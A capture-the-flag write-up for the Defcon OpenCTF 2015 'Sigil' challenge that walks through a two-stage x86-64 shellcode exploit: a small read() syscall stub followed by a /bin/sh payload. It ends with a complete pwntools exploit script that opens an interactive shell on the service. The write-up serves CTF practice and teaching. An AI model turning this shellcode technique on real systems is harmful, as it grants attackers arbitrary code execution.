Defcon OpenCTF 2015 - Sigil
Below is the main funciton of Sigil:

The following occurs:
- memory region is set to
read-write-executepermissions - read() of length 16 into that memory region
- call to the buffer just read
The gameplan for this exploit is to send an initial payload which will call read() into the RWX memory region. From here, we send the actual /bin/sh payload which will continue executing after our stage 1 payload.
We can call read via syscall to make this shellcode small. The following must be setup for this to work:
- rax - 0
- rdi - file descriptor to read from, i.e. stdin
- rsi - destination buffer
- rdx - 0x30 : Arbitrary length to read
The rax register is already set to 0 for our read syscall, so no modification needs to happen there. The rdi register needs to be a 0 in order to read from stdin, so a simple xor rdi, rdi will accomplish this for us. The destination buffer is already stored in the rdx register when our shellcode is run, which means we only need to execute a mov rsi, rdx in order to setup our destination buffer location. Lastly, we need to set a read length, and a simple mov rdx, 0x30 will work.
The final stage 1 shellcode is below:
mov rsi, rdx # rdx already contains our buffer location
mov edx, 0x30 # set our read length
add rsi, 10 # Move our buffer addr, so we don't overwrite our initial shellcode
syscall # Execute read
From here, we send a second shellcode containing our generic /bin/sh shellcode in order to receive our shell.
Final Exploit
from pwn import * # pip install --upgrade git+https://github.com/binjitsu/binjitsu.git
context(arch='amd64')
HOST = '127.0.0.1'
PORT = 4444
# r = process('./sigil')
r = remote(HOST, PORT)
# Debug helper
"""
gdb.attach(r, '''
bp 40062a
c
''')
"""
"""
read() syscall
rax - 0
rdi - file descriptor to read from - 0 => stdin
rsi - destination buffer
rdx - length to read
"""
"""
rax is already 0 for syscall read
rdi is already 0
'xor rdi, rdi', # Read from stdin (file descriptor 0)
"""
shellcode = asm('\n'.join([
'mov rsi, rdx', # rdx already contains our buffer location
'mov edx, 0x30',
'add rsi, 10',
'syscall'
]))
# Ensure we send a full 16 byte Stage 1 payload.
shellcode = shellcode.rjust(16, '\x90')
log.info("Shellcode:[{}] {}".format(len(shellcode), shellcode))
# Create second payload - simple /bin/sh payload
# Add a beginning nop sled, because why not?
log.info("Stage2: {}".format(shellcraft.sh()))
sc = asm(shellcraft.sh())
sc = sc.rjust(0x30, '\x90')
log.info("Stage2: {}".format(sc))
r.sendline(shellcode + sc)
r.interactive()
git clone https://github.com/ctfhacker/ctf-writeups